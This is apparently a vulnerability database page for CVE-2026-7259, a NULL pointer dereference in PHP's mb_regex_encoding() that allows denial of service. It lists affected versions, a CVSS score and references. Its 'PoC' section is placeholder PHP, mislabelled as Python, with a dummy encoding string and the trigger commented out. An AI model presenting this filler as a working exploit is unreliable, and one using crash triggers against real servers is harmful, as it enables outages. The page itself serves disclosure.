CVE-2026-7259

Description

In PHP versions 8.2.* before 8.2.31, 8.3.* before 8.3.31, 8.4.* before 8.4.21, and 8.5.* before 8.5.6, a mismatch between encoding lists in Oniguruma and mbfl leads to a NULL pointer dereference, resulting in a segmentation fault and denial of service. The vulnerability is exploitable when user-controlled input can influence the encoding passed to mb_regex_encoding().

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:php:php:*:*:*:*:*:*:*:* - VULNERABLE

PHP 8.2.* < 8.2.31

PHP 8.3.* < 8.3.31

PHP 8.4.* < 8.4.21

PHP 8.5.* < 8.5.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// PoC for CVE-2026-7259 PHP NULL Pointer Dereference
// This script demonstrates the vulnerability by passing a potentially
// problematic encoding to mb_regex_encoding().

// User-controlled input that influences the encoding
// Note: The specific encoding string that triggers the mismatch
// depends on the specific version lists of Oniguruma vs mbfl.
$malicious_encoding = "SOME_MISMATCHED_ENCODING";

// Attempt to set the regex encoding using user input
if (mb_regex_encoding($malicious_encoding)) {
    // Encoding was accepted by Oniguruma but might be invalid in mbfl context
    // Subsequent regex operations or the setting itself might trigger the crash
    echo "Encoding set to: " . mb_regex_encoding() . "\n";
    
    // Triggering the dereference (Context dependent)
    // mb_ereg_match('.*', 'test'); 
} else {
    echo "Failed to set encoding.\n";
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7259
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7259
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7259/
[4] VulDB https://vuldb.com/cve/CVE-2026-7259
[5] https://github.com/php/php-src/security/advisories/GHSA-wm6j-2649-pv75

Raw JSON Data

JSON

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